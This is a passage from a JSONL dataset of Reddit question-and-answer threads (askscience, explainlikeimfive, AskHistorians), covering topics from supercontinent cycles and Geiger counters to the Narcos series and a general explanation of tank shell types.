predecessor\u2019s \u201cdownwelling subduction girdle,\u201d with its center 90 degrees away. Interestingly, because the new centroid is only half a hemisphere away, it suggests that there may be more continuity between supercontinents than we previously thought!\n\nThis is really cool, because it means that we can make a guess at where our next supercontinent will be! \n\n\nSources: I wrote a very long paper on this back in college! Also, some specific articles on the various theories, like:\n\nIntroversion: Nance, R. D., Worsley, T. R.,  &  Moody, J. B. (1988). The Supercontinent Cycle. Scientific American, 259(1), 72-79.\n\nExtroversion: Hartnady, C. J. (1991). About turn for supercontinents. Nature, 352(6335), 476-478.\n\nOrthoversion: Mitchell, R. N., Kilian, T. M.,  &  Evans, D. A. (2012). Supercontinent cycles and the calculation of absolute palaeolongitude in deep time. Nature, 482(7384), 208-211.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://dinosaurpictures.org/ancient-earth#50"], [], [], ["https://youtu.be/uLahVJNnoZ4"], [], [], ["https://www.youtube.com/watch?v=PZjPGdXMMso"], [], ["https://www.sciencedirect.com/science/article/pii/S0921818118302054"], [], []]}
{"q_id": "3dged4", "title": "Has our Sun ever \"ate\" or engulf a planet?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dged4/has_our_sun_ever_ate_or_engulf_a_planet/", "answers": {"a_id": ["ct549yk", "ct5708v", "ct58v0q"], "score": [21, 3, 3], "text": ["After the creation of our solar system the sun was surrounded by a disk of debris, consisting mostly of dust and small chunks of rock. At this point the sun must have been eating anything that lost too much speed to stay in orbit, but nothing of considerable size existed yet. When these formed their orbital speeds were high enouch to keep them away from the sun. \nFun fact though, comets and asteroids are frequently still passing the sun very closely, if not crashing on it.", "Early in the solar system it definitely did but I don't think you could call the stuff it engulfed 'planets'. They were mostly rocks and debris. In the future however at the end of it's life approximately 4-5 billion years from now the Sun will expand and swallow up the inner planets. ", "It probably did in the early Solar System days, but there's no way to prove that it happened.  We do know the Sun eats comets fairly often though, and have [good observations of that](_URL_0_).\n\nThe Sun will eventually swallow Mercury and Venus in a few billion years as it swells at the end of its life.  The jury is out on if the Earth will be swallowed as well or merely left as a charred rock- I think it depends on what stellar evolution model you use for the answer there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.scientificamerican.com/article/sun-diving-comet-sdo/"]]}
{"q_id": "1p83w7", "title": "what is the legal definition of \"a reasonable person\"? can it change?", "selftext": "As societal norms have changed; is the use of the reasonable person standard any different than it used to be? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p83w7/eli5_what_is_the_legal_definition_of_a_reasonable/", "answers": {"a_id": ["cczp2ye", "cczsi6h"], "score": [7, 2], "text": ["Yes. \"Reasonable person\" is a hugely mutable definition. In most cases, what it means is \"the reasonable person in a given set of circumstances.\" For instance, \"the reasonable person approaching a car accident in his own car.\" Obviously that \"reasonable person\" has changed over time, or the 18th Century \"reasonable person\" would proceed to freak the fuck out because wtf is this thing he's driving and oh god why are those people crying and standing near another one of the things he's driving but broken-looking?\n\nThe best approximation of a non-legal way of saying \"reasonable person\" is \"the average man on the bus.\" It's not got a fixed meaning; instead, it's mostly a thought-aid for jurors and fact-finders to use in assessing behavior, reactions, etc.", "Yes. To be more direct. The people who go to law school and learn these legal rules are different every generation. What my torts class thought was reasonable is different from a torts class 50 years ago, Im damn sure. \n\nThere's more context though, because there is a long history of legal jurisprudence that frames the \"reasonable man\" standard in a particular situation. The interaction of \"stare decisis\" (basically precedent, like cases should be decided alike) moderates the change in one generation to the next. There is often case law that overtly says or at least strongly suggests a certain kind of behavior is reasonable or unreasonable. When lawyers don't have a clearly controlling on point precedent, they are left to using analogies to similar cases and beyond that, pretty much gut decisions on what is right. It's that last layer that changes with time, moderated by the first two layers of controlling precedent and similar precedent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3h9ce2", "title": "[nsfw] how does a anal prolapse work?", "selftext": "Self explanatory title, I hope.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h9ce2/eli5_nsfw_how_does_a_anal_prolapse_work/", "answers": {"a_id": ["cu5ed9g"], "score": [5], "text": ["The rectum is a tube of flesh. It isn't stretched tight all the time; it can expand to accommodate things leaving the excretory system, and although it wasn't the motivation for this design, it can likewise accommodate things entering that system.\n\nLots and lots of use of the anal sphincter (or the \"asshole,\" as some call it) loosens it. This allows the rectum of loosen and spill out of the opening.\n\nThink of it as kind of like holding both ends of a Slinky, then releasing one end."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "i66z7", "title": "Lytro Camera: Magic or Bullshit?", "selftext": "Hey, what's the deal with these [light field pictures](_URL_0_)?\n\nIs it really possible to choose a focal point *after* you take the photo? At first I thought that you picked your focus, and it just blurred out everything around that, but the examples show that it actually *knows* what's in the foreground and what's in the background and can focus/blur accordingly.\n\n...Should I buy stock in them?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i66z7/lytro_camera_magic_or_bullshit/", "answers": {"a_id": ["c218omw", "c218pn0"], "score": [3, 3], "text": ["The [discussion thread on HackerNews is interesting](_URL_0_). \n\nThe bottom line here is that the math and physics behind this is certainly possible, and been known to be possible for quite a long time. What has been holding this back is two things: processing power, and the difficulty of actually manufacturing the physical object. The first of these is getting easier all the time. The second one is harder to make a judgement on, and only time will really tell. Judging by the example pictures linked around the net, the technology isn't quite there yet. On the other hand, it is a technology with a great deal of potential.\n\nSo, to answer directly:\n\n > Is it really possible to choose a focal point after you take the photo?\n\nYes.\n\n >  At first I thought that you picked your focus, and it just blurred out everything around that, but the examples show that it actually knows what's in the foreground and what's in the background and can focus/blur accordingly.\n\nThat is true of cameras with a small number of lenses. These sorts of cameras have very large numbers of logical lenses, which changes the game substantially.\n\n >  ...Should I buy stock in them?\n\nAt very least they have some good IP. There is still a great deal needed to be done on the engineering side, but I suspect that they will get bought out by one of the big players if their technology ends up working well. Probably not a terrible bet, but I wouldn't put my retirement in their stock either.\n\n", "The dude's PhD dissertation is linked from the website and the principle makes sense. It's like a regular camera, but immediately in front of the sensor there's an array of microscopic lenses. From this the computer can pick up essentially a 3D image, and algorithms can choose what to have in focus and what to blur.  \nWhether, in practice, this would lead to a desirable consumer product I don't know. It could be a new paradigm for photography, if it works well."]}, "title_urls": [], "selftext_urls": ["http://www.lytro.com/science_inside"], "answers_urls": [["http://news.ycombinator.com/item?id=2681554"], []]}
{"q_id": "9ttpin", "title": "is st-elevation myocardial infarction (stemi) the same thing as coronary heart disease?", "selftext": "And can STEMI lead to Coronary Heart Disease and vice versa? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ttpin/eli5_is_stelevation_myocardial_infarction_stemi/", "answers": {"a_id": ["e8z0gzt", "e8z21dm", "e8z67vy", "e8zta5h"], "score": [9, 5, 2, 2], "text": ["Heart disease is an all-encompassing term which generally focuses on the chronic diseases of the heart. Most specifically, atherosclerosis (build up of crap in blood vessels), which reduces blood flow to the muscle of the heart and then causes things like angina (pain in the chest due to an insufficient blood supply to the heart). A STEMI is one type of MI where the blood supply to the heart is blocked acutely, resulting in heart tissue ischaemia and death of some of that heart tissue.  An MI is normally as a result of atherosclerosis but refers to the acute presentation of a heart attack. Coronary heart disease is also as a result of atherosclerosis but refers to the more chronic manifestation. Hope this helps.  ", "No. A STEMI is a short term (acute) state. CAD is a culmination of factors producing reduced flow of O2 to the heart muscle. A person with CAD may very well develop a STEMI over time. ", "Imagine there was one car accident on the highway causing a bit of congestion - there's still decent movement, but obviously slower. This is like coronary artery disease. \n\nNow imagine a meteorite just crashed on to the highway causing major damage to the roads and killing a bunch of people as well - more more movement to traffic whatsoever and now people in cars are being engulfed by fire .. that's more like a STEMI (heart attack)", "No.\n\nCoronary Artery Disease refers to a disease of the vessels that supply blood to the heart. Your question says coronary heart disease, which is used interchangeably with CAD. CAD typically is in relation to plaque that occludes the blood supply to those vessels.\n\nA STEMI is a type of myocardial infarction in which there are specific changes that can be seen on an ECG (the machine that traces the electrical activity of the heart). It is typically present when there is a complete occlusion in one of the coronary arteries leading to lack of oxygenation and therefore tissue death in the heart muscle. \n\nCAD can increase the risk of a STEMI but STEMIs can also happen when there is no pre-existing CAD. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2567ia", "title": "suppose it's around 1900 and I am the son of an Indian Maharaja sent to England to be educated at a public school and then Oxbridge. Socially Would I be allowed to do all the same things a young English aristocrat would (like joining a gentlemen's club or going to posh Balls etcetera)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2567ia/suppose_its_around_1900_and_i_am_the_son_of_an/", "answers": {"a_id": ["chebyvz"], "score": [91], "text": ["The only Indian Oxonian I can think of is Mirza Nasir Ahmad, head of Ahmadiyya Muslims, who was educated in Oxford in the 1930s, but that's significantly after your time frame.\n\nWe can also look at the famous Mohammed Abdul Karim, and Indian secretary in the service of Queen Victoria until her death in 1901. Karim was effectively given to Victoria as servant on her jubilee, with the intention of expanding her knowledge of and connection to \"her\" India. He was extremely successful at court, becoming one of the Queen's most favoured advisers. This made him very unpopular with the rest of Her Majesty's houshold - Karim's biographer, Sushila Anand, attributes this to the royal household not being used to having to associate with non-royal Indians, implying that had he been \"the son of an Indian Maharaja\" (as you put it) he would have been better received. Really this comes down the belief that rank trumps nationality, so while an Indian prince may be below an English one, he is still a prince.\n\nSources/further reading:\n\n*Indian Sahib: Queen Victoria's Dear Abdul*, Sushila Anand, 1996 [hard to find, but I think there's a more recent biography]\n\n*Queen Victoria: Her Girlhood and Womanhood*, Grace Greenwood, 2012 [this one's free for Kindle]\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4v1wt6", "title": "How do different people's brains handle the same problem?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4v1wt6/how_do_different_peoples_brains_handle_the_same/", "answers": {"a_id": ["d5usvex"], "score": [3], "text": ["Basically as we experience things new pathways are built, and pathways we use more often work faster than ones that we don't use often. So someone who practices math equations and studies will have more established pathways and the response will be faster than someone who doesn't do any thing with math equations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7kic8n", "title": "how does using a revolving door \"save energy\" as compared to a normal door?", "selftext": "I live in Toronto and there are these signs at Yonge Dundas square which encourage people to use revolving doors instead of normal doors to \"save energy\". How does using a revolving door save energy? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7kic8n/eli5_how_does_using_a_revolving_door_save_energy/", "answers": {"a_id": ["drel5iv", "drel9s9", "dreld8t", "dreuwb3"], "score": [45, 4, 3, 7], "text": ["It reduces the amount warm air going out/cold air coming in. This helps reduce the cost to heat the buildings.", "Revolving doors are designed in such a way that airflow is reduced compared to normal doors, so less energy is spent trying to offset the temperature differential from cold or hot air coming in. In moderate climates where a building doesn't necessarily need to run air conditioning/heating, it can be negligible at best.\n\n_URL_0_", "The volume of air that enters or exits a building when a revolving door is used is much less when compared to opening a door.\n\nThe revolving door exchanges only the volume of air contained between the doors.\n\nOpening a door usually lets a blast of air to come in or go out\n", "As well as what other people have said about allowing wind to blow in and out of a building I'm sure I've read something about if a building is extensively cooled, particularly in a hot country, the air inside the building is denser than outside, so has a tendency to want to leave the doors rapidly, even to the point of preventing a normal door closing properly. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.vox.com/2014/8/13/5995537/do-revolving-doors-save-energy"], [], []]}
{"q_id": "sye3e", "title": "How long does it take a crab to die when boiled?", "selftext": "I have a friend who is growing increasingly worried about how much the food he eats suffered before it's, err, food. He's particularly fond of blue crab, and wanted to know how long they're alive while being boiled. I've found several sources which say that crustaceans probably feel pain, and indeed that they may feel it longer than we would because of how their nervous systems work, but a lot of this is mixed up with sources like PETA. \nSo, how long does it generally take a crab or lobster to die in boiling water? And are they in pain the entire time?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sye3e/how_long_does_it_take_a_crab_to_die_when_boiled/", "answers": {"a_id": ["c4i1nxg", "c4i3d6i"], "score": [5, 5], "text": ["While I can't answer the actual question, although I would think they die rather quicker than slower, as they are poikilotherm and adapted to colder water, I think the second question is hard to answer.\n\nThat the crab is in pain is certainly true if you mean that the crab can sense the heat, however it may not be true in the sense that it is suffering. The ability to suffer would require some sort of consciousness, otherwise a complex robot would also feel 'pain' when you burn its arm and it has sensors that notice this. While for mammals one sure wants to err on the side that reduces pain, crabs have rather simple nervous systems (there is no brain, but several [ganglia](_URL_0_)), that I'm not so sure if I would say they are in pain, as we are.\n\nHowever, one can never be sure of course, so the easiest way out would be to cook the crab yourself, and kill it before boiling. Google for 'humanely kill lobster' for advice, freezing seems to be one of the choices.", "Alton Brown, the host of the show \"Good Eats,\" had a great episode about this. The transcript can be found [here](_URL_0_). CTRL+F \"Geneva Convention\" and read those two paragraphs for what he has to say about killing crustaceans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ganglion"], ["http://www.goodeatsfanpage.com/Season4/Lobster/LobsterTranscript.htm"]]}
{"q_id": "5vzw9i", "title": "how did \" 's \" come to mean possession when used at the end of a noun?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vzw9i/eli5_how_did_s_come_to_mean_possession_when_used/", "answers": {"a_id": ["de68wc0", "de695fw"], "score": [8, 19], "text": ["Pretty much all the Germanic languages use \"s\" as an indicator of possession. This likely comes from the extensive case system of Proto-Germanic. The apostrophe s is a remnant of the Genitive case, which can still be found in German.", "In Old English, a suffix of 'es' was the most common way of forming the genitive case of masculine and neuter nouns.\n\nAs Old English transformed into Middle English and then Modern English, the language simplified, and most of the case endings were dropped and replaced with phrases using prepositions (eg to, by, on etc), However this one remained and was extended to cover all nouns both singular and plural.\n\nThe pronunciation of this ending also gradually changed so the e was silent, and the habit arose of writing the word with an apostrophe instead of an 'e'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "517bj8", "title": "Does the wind get affected by gravitational pull the same way the tide does?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/517bj8/does_the_wind_get_affected_by_gravitational_pull/", "answers": {"a_id": ["d7aeszm"], "score": [2], "text": ["Not noticeably. The atmospheric tides are primarily thermally driven. The sun heats a portion of the atmosphere, creating an expanding pressure wave that propagates around the atmosphere. If the Earth is spinning close to the speed at which the wave propagates, you can create a resonant effect with very large atmospheric tides. This [can have some interesting effects](_URL_0_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://onlinelibrary.wiley.com/doi/10.1002/2016GL068912/full"]]}
{"q_id": "3miaad", "title": "How accurate is Netflix's new series Narcos to what happened in Columbia?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3miaad/how_accurate_is_netflixs_new_series_narcos_to/", "answers": {"a_id": ["cvfgb4a", "cvfqr8w", "cvfyn82"], "score": [45, 8, 32], "text": ["If I might ask a question regarding Escobar as it relates to Americans, while we're on the subject; How well known was it to Americans what was happening in Colombia? I was around the age of 10 when he was finally killed, and although I recall hearing the usual war on drugs propaganda(Just Say No!), I don't recall hearing anything about Escobar or our involvement in Colombia.", "I asked this not too long ago and received a reply\n\n_URL_0_", "I think inaccuracies emerge mostly in the form of what the show left out, rather than direct inaccuracies in the presented narrative.  This is somewhat understandable, given that *Narcos* is a show about the drug cartels, and not so much general Colombian history.  Still, there are some events and groups that are nice to know about in order to get the full context of what was going on in Colombia at the time, and extremely interesting in their own right.  Some miscellaneous things that come to mind.\n\n**Where the heck is FARC?**  \n\nThe most glaring omission is the complete lack of FARC's presence.  FARC has always been the biggest communist guerrilla group in Colombia, to whom M-19 was second to; but since their power in the '80s was mostly in the countryside, it makes sense that the show chose to focus on M-19 as \"the\" communists, since they were the ones with much more presence in the urban areas.\n \n**MAS: Way more than just a cartel**  \n\nAnother glaring omission is the lack of discussion around how the Medellin Cartel intersected with legitimate enterprises and the Colombian business elite.  I believe it is in Episode 2 that Escobar and his buddies form Death to Kidnappers (MAS) in order to rescue the Ochoa brothers' sister from M-19; but what the show left out was the fact that MAS was also formed in conjunction with a wider swathe of Medellin elites, ranging from emerald miners to cattle ranchers to US oil corporation officials, and served as a violent repressive apparatus against both the armed left (FARC, M-19) and unarmed activists (trade unionists, community organizers, peasant associations).  \n\nMAS would also cultivate close ties with the military; in 1983, the Colombia Procurator General released an investigative report on MAS that showed that 59 out of 163 identified members of MAS were active-duty military personnel (its also worth noting that many of these men had received training by the US via the [School of the Americas](_URL_0_)).  Understanding these kinds of paramilitary formations is very important to understanding Colombian politics and economics, because these formations would be widely replicated across the country as an effective way to leverage \"dirty-war\" tactics against communist insurgents, and to protect and expand business interests .\n\n**Where are the Castano brothers?**\n\nA very bizarre omission is the absence of Fidel Castano and his brothers.  Fidel Castano was a security chief early on with the Medellin Cartel as well as a leader of several paramilitary groups, and he plays a very key role in hunting down and killing Pablo Escobar after Escobar's escape from \"prison\".  It is very confusing to me why he is missing from Season 1, and makes me worried about how much they are going to gloss over in Season 2, with regards to what the US and Colombian governments actually do to eventually find and kill Escobar.  I won't go into that, though, since it might spoil Season 2. \n\n**M-19, not as shabby as they seemed**\n\nThe show makes it seem like M-19 was betrayed and killed after the Palace Siege (which actually happened, although it is highly unclear whether Escobar had anything to do with it, and whether there was any actual cooperation between the Medellin Cartel and M-19); but in reality, M-19 would remain strong enough to be part of a constitutional reform process that saw them fully demobilize in 1989 in order to play a role in creating the new constitution, which would become finalized in 1991.\n\n**The US War on Drugs: Bigger, but Questionable**\n\nI don't feel like the show did a very good job of visualizing the full extent of US engagement in the context of the drug war in the late '80s and early '90s; seems like the only Americans in Colombia were the two DEA agents, the Army guy, and the CIA guy.  But in reality, there was a lot going on: the \"Andean Initiative\" announced in 1989 by George H.W. Bush sent $2.2 billion over five years to Colombia, Peru, and Bolivia; 1/4 of CIA activities in Latin America were around counter-narcotics in 1989, and US Army Special Forces were training Colombian security forces in counter-narcotics.  \n\nIt is, however, questionable how much of US operations in Colombia were around actually combating narco-traffickers; for example, a massive military-intelligence reorganization plan launched in 1991 based on recommendations by US advisers was entirely about fighting communists, and didn't mention drugs at all, and in fact formalized (in a covert manner) existing relationships between narco-backed death squads and the military for the purpose of anti-communist counter-insurgency.  [The 1996 Human Rights Watch report on the military-paramilitary reorganization](_URL_1_) is a great read on this subject.\n\n**Sources**: \n\n* Aviles, William.  *Global Capitalism, Democracy, and Civil-Military Relations in Colombia*.  State University of New York Press.  2006.\n\n* Hristov, Jasmin.  *Blood and Capital: The Paramilitarization of Colombia*. Ohio University Press.  2009.\n\n* Hristov, Jasmin.  *Paramilitarism and Neoliberalism: Violent Systems of Capital Accumulation in Colombia and Beyond*.  Pluto Press.  2014.\n\n* Human Rights Watch.  *Colombia\u2019s Killer Networks: The Military-Paramilitary Partnership and the United States*.  1996.\n\n* Stokes, Doug.  *America\u2019s Other War: Terrorizing Colombia*.  Zed Books.  2005.           "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/3jrgfv/in_netflixs_narcos_some_of_the_cartel_bosses/curwahj"], ["https://en.wikipedia.org/wiki/Western_Hemisphere_Institute_for_Security_Cooperation", "http://www.hrw.org/reports/1996/killertoc.htm"]]}
{"q_id": "4gy7i3", "title": "tea leaf paradox", "selftext": "I have a cupful of water and tea leaves in a mini strainer that fits perfectly on top of the cup (with the strainer bottom fitting inside the top of the cup). When I rotate the strainer clockwise, the tea leaves and water in the strainer go counterclockwise. They always go in opposite directions; why? Thank you. Edit: wording changes to help others understand my problem. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gy7i3/eli5_tea_leaf_paradox/", "answers": {"a_id": ["d2lx2ee", "d2lxnkc"], "score": [18, 12], "text": ["Actually, when you rotate the strainer, the leaves don't move, giving the illusion that the leaves move CCW when actually it is the strainer that is moving CW.\n\n", "Forget the strainer for a second, when you stir the water in the cup on its own, if you go fast enough you'll see that the surface of the water is no longer flat. That is more of the water moves to the outside of the cup than the centre, creating a sort of \"tornado\" in the centre. This is due to a \"force\" referred to as \"centripetal force\". This is the water molecules trying to travel in a straight line and \"building up\" at the edges. So these molecules are travelling in your case CW relative to the centre (because you're spinning them) AND towards the edge of the cup(because they want to travel in straight lines). This creates a spiral motion. Now add in your strainer with loose tea leaves. As you create this spiral water is entering the front of your strainer with more force where the strainer meets the edge of the cup(because theres more fluid there), than the parts of the strainer closer to the centre. This causes the leaves to spin CCW. \nEDIT: Centrifugal force != Centripetal force. \nAlso i couldn't find any gifs/videos but if you take a look at this photo, see how the water is moving CW, its easy to see that the ball will start to spin in a CCW direction. _URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.spiralwishingwells.com/guide/images/wilsonswaterworksvortex-child.jpg"]]}
{"q_id": "1yfi8u", "title": "In a geiger counter tube, the gas is usually argon gas. How does it become ionized by the radiation and become conductive when its outer electron shell is full?", "selftext": "I was in physics class with a mate (I am in year 11) and we were wondering how this works. The gas has to become ionized to conduct the electricity (alpha beta and gamma radiation is the cause), but we were wondering how it is possible due to its electron configuration being 2,8,8. An explanation would be awesome :) ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1yfi8u/in_a_geiger_counter_tube_the_gas_is_usually_argon/", "answers": {"a_id": ["cfk3pmy", "cfk5fl0"], "score": [14, 8], "text": ["The shell being full means that Argon won't react chemically, but it doesn't mean that electrons can't be removed from it. Any atom can be ionized with a sufficiently energetic photon.", "The binding energy of the electrons in argon range from about 16eV for the outer shell, to about 3.2keV for the inner shell. This is almost nothing when compared to the energy carried by a typical decay product (a few keV to multiple MeV) and therefore the atoms are easily ionized.\n\nSource: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.webelements.com/argon/orbital_properties.html"]]}
{"q_id": "1oaz3d", "title": "why hasn't david miscavige been arrested yet? isn't the whole practice of torture in scientology supposed to be illegal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1oaz3d/eli5_why_hasnt_david_miscavige_been_arrested_yet/", "answers": {"a_id": ["ccqcd23", "ccqfam0", "ccqgcxd", "ccqh1sx", "ccqhn9g", "ccqhoiy", "ccqo47e", "ccqoxj5"], "score": [65, 39, 6, 105, 24, 4, 5, 2], "text": ["If you're a cop or local prosecutor, you don't arrest a famous, rich,  and (perhaps more importantly here) famously litigious person without being fairly sure you can get a conviction.  And in this case, if you're not sure you'll get the relevant people to testify or that a jury would believe them, it just won't happen. ", "Basically he can argue that no one is mistreated without their consent, which is technically true. Arguing coercion is hard when the defence is \"these people are free to go and are merely exercising their religious freedom to accept religious punishments.\"\n", "TL;DR version: Powerful people play by their own rules because they have to means to fight back.", "The short answer is \"money\".  The long answer is \"lots of money\".", "It's done willingly. If I were to go to a BDSM party, I couldn't then accuse my play partner of torturing me. ", "Has his wife been found yet ?", "How many scientologists are downvoting on this topic?  Holy crap I see a lot of downvotes on generally banal comments in a 10 hour time period.", "Basically, the law in most common-law countries (i.e. the U.S., in this case) says that because the infliction of actual physical harm upon a person deprives the state of that person's potential productive capacity, that harm is illegal *even with the consent of the victim.* Few exceptions are made for voluntary, non-essential consensual harm (e.g. BDSM), but plenty are made for religious harm (at least in the U.S.) due to the long-standing American tradition of bizarre, selective respect of the First Amendment. While the government generally limits your right to deprive it for the sake of fun, it will minimally limit your right to deprive it for the sake of your beliefs. For instance, if a young man can prove that his religious beliefs (to which he can demonstrate consistent and concerted adherence) preclude his involvenment in a war, he will likely be granted exemption from compulsory military service in the event of a draft. Similarly, if your particular sect of ascetic Pastafarianism dictates your acolytes flog you with wet noodles in order to cleanse you of your corporeal turpitudes, and you have it done with full knowledge of the capacity of wet noodles to inflict real and lasting harm upon your person, your acolytes will have a pretty solid defense against any charges of assault brought upon them by the state; considering that most laws regarding the sort of stuff alleged against the Church of Scientology (kidnapping, unlawful detention, etc.) entail some element of nonconsent in the definition of the crime, charges are extremely unlikely in the first place **unless the state can prove lack of consent.** That's really the issue here. Until someone can come forward with multiple witnesses, lots of evidence, and experts willing to testify that Scientologists have been imprisoning and torturing their fellows without consent of any kind, nothing will happen. That and the fact that organizations of people, while possessing enough \"personhood\" to contribute to political campaigns, generally don't possess enough to be prosecuted for crimes. It's much easier for individuals to take on organizations in civil court, and that's what I expect to happen. \n\n**TL;DR: Hurting someone isn't illegal in America as long as the person wants it for God. Also lawyers.**\n\nEdit: Helpful link-- _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://law.bepress.com/cgi/viewcontent.cgi?article=1047&amp;context=rutgersnewarklwps"]]}
{"q_id": "9mnptx", "title": "how does heat rounds work?", "selftext": "I have read numerous explanations on it and i still don't understand. I'm talking about high explosive anti-tank rounds in case you are wondering.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9mnptx/eli5_how_does_heat_rounds_work/", "answers": {"a_id": ["e7fyczw", "e7fylfj", "e7fzyx4", "e7g2ud4"], "score": [14, 5, 2, 32], "text": ["Iirc HEAT uses shaped charge copper penetrators. \n\nThese work by setting off a high explosive behind a metal (in this case copper) dish. The shape of the dish as well as the properties of the explosion combines to convert the solid or powdered metal into a stream of liquid or vaporized metal moving forward at many times the speed of sound. \n\nAt that speed, tank armour stops acting as a solid as, simply put, solids only stick together at the speed of sound (in that material), so when an impact happens faster than that the impacted atoms have no time to convey that impact to their neighbours, and thus they're moved aside with relatively little energy required. \n\nThis allows the molten copper, and possibly a secondary charge, to enter the interior of the tank and mess stuff up. Obviously any human hit by it will be grievously wounded or killed, while hitting a tank shell can set it off (killing everyone), and as mentioned some anti tank rounds have a secondary charge (I think I heard somewhere though I could be completely wrong) which is basically a small explosive that flies/falls through the hole the penetrator just made and then blows up (killing everyone). \n\nEdit: The Slow Mo Guys did a [video](_URL_0_) using shaped charges recently (along with quite a lot of det cord and other explosives). Worth a watch just to visualize how fast shaped charges fling copper, as well as the holes they make. ", "HEAT rounds work similar to an EFP. I'll compare HEAT to AP to help explain.\n\nAn AP round is just a specialy designed projectile. It relies on the velocity of the round when it leaves the barrel to penatrate armor. In its simplest form it is like throwing a rock through a piece of paper.\n\nHEAT does not rely on the velocity of the round when it leaves the barrel instead the round has an explosive charge behind a metal liner. When it hits the target the charge explodes turning the metal liner into a jet of molten metal and projecting it through the armor. \n\nTo put it in a super simple way. It's kind of like the HEAT is a tiny gun that you load into a bigger gun. You shoot the tiny gun out of the big gun and when the tiny gun hits the target it fires its little bullet at point blank range into the armor.", "The simplest explanation is a visual representation\n\n_URL_0_", "So, you want to penetrate / do damage to something that could be miles away, how do you do that?\n\nIn general, there are common several tank rounds-\n\nAP - Armor Piercing - The most basic type of shell. It's a hunk of material material that uses its kinetic energy to attempt to penetrate armor. It's was cheap, was 'effective', and got the job done when tank designs were basic and were more similar to heavily-armored cars than they were tanks. Early tanks had armor thicknesses as thin as 7mm, compared to later tank designs such as the Tiger 1 that had 100mm.\n\nHE - High Explosive - Not normally used against tanks, but the shell was used against infantry, reinforcements, or buildings. It's a standard shell that explodes once it contacts a surface, it generally doesn't penetrate, and hitting another tank with it would certain daze the crew, but likely not knock them out.\n\n[APCBC](_URL_7_) (and other similar shells) - Armor Piercing Capped, Ballistic Capped Shell - These rounds came about because the angle at which a shell comes in determines if it will deflect (or bounce) off the armor, or impact it. With standard AP, it was found that by creating armor that was sloped (called sloped armor), you could cause an incoming shell to \"bounce off\" and deflect, rather than penetrate the tank. This slopped design is seen to great extent with the famous Russian T-34 tank. This caused the rounds to ricochet instead of penetrating. To remedy this, they designed a shell which would be able to \"[grip](_URL_4_)\" the tank upon impact. Think of it like giving an armor piercing more of a grip to impact at a better angle, and lower the chances of ricocheting.\n\n[APCBC-HE](_URL_6_) - Armor Piercing Capped, Ballistic Capped, High Explosive-  This round features the outside design of the APCBC shell, but was considered to be extra lethal, due to the High Explosive part of it. So you design an armor piercing shell that can penetrate a tank, but what happens after it does? Well, you have hot toxic fumes enter the tank, scraps and chunks of metal flying inside, but it would not necessarily knock the crew out. So how do we make it more lethal? Let's make it **explode** after it penetrates, of course. After penetrating, this shell would detonate after traveling a certain short distance. This would create a dangerous pressure-explosion inside the crew cabin, and would likely kill most of the crew if the explosion itself doesn't outright. One shot kills were common, as was setting off the ammunition inside the tank, which would cause the tank to explode.\n\n\n[HESH](_URL_14_)- High Explosive Squash-Head - A very interesting type of explosive, in general, it works by \"squashing\" a high explosive compound on the surface, and then detonating it. The goal is not to necessairly penetrate, but to rather cause an effect called [spalling](_URL_5_). It would cause the other side of the armor to blast outsides towards the crew, and create many small tiny pieces of steel throughout the crew space, penetrating the crew itself. It functions similar to HEAT, in that the velocity of the round doesn't affect it's killing potential, but rather the angle and if it makes contact well enough for it to stick that matters most.\n\n[APFSDS](_URL_3_)- Armor-Piercing-Fin Stabilized-Discarding Sabot - This is the latest design. A dense kinetic energy penetrator round is used to defeat composite armor from a great distance away. Speed kills armor, and if you concentrate enough kinetic energy into a single point you'll be able to go through thicker armor (This is also the principle behind HEAT rounds, discussed below). The fins are used to prevent the round from tumbling in air, and the sabot is used to ensure the round fires as straight of a path as possible once fired out the barrel, but once its traveling it's discarded to prevent drag from slowing it down.\n\n[HEAT](_URL_8_) - High Explosive, Anti Tank - This round came about as more and 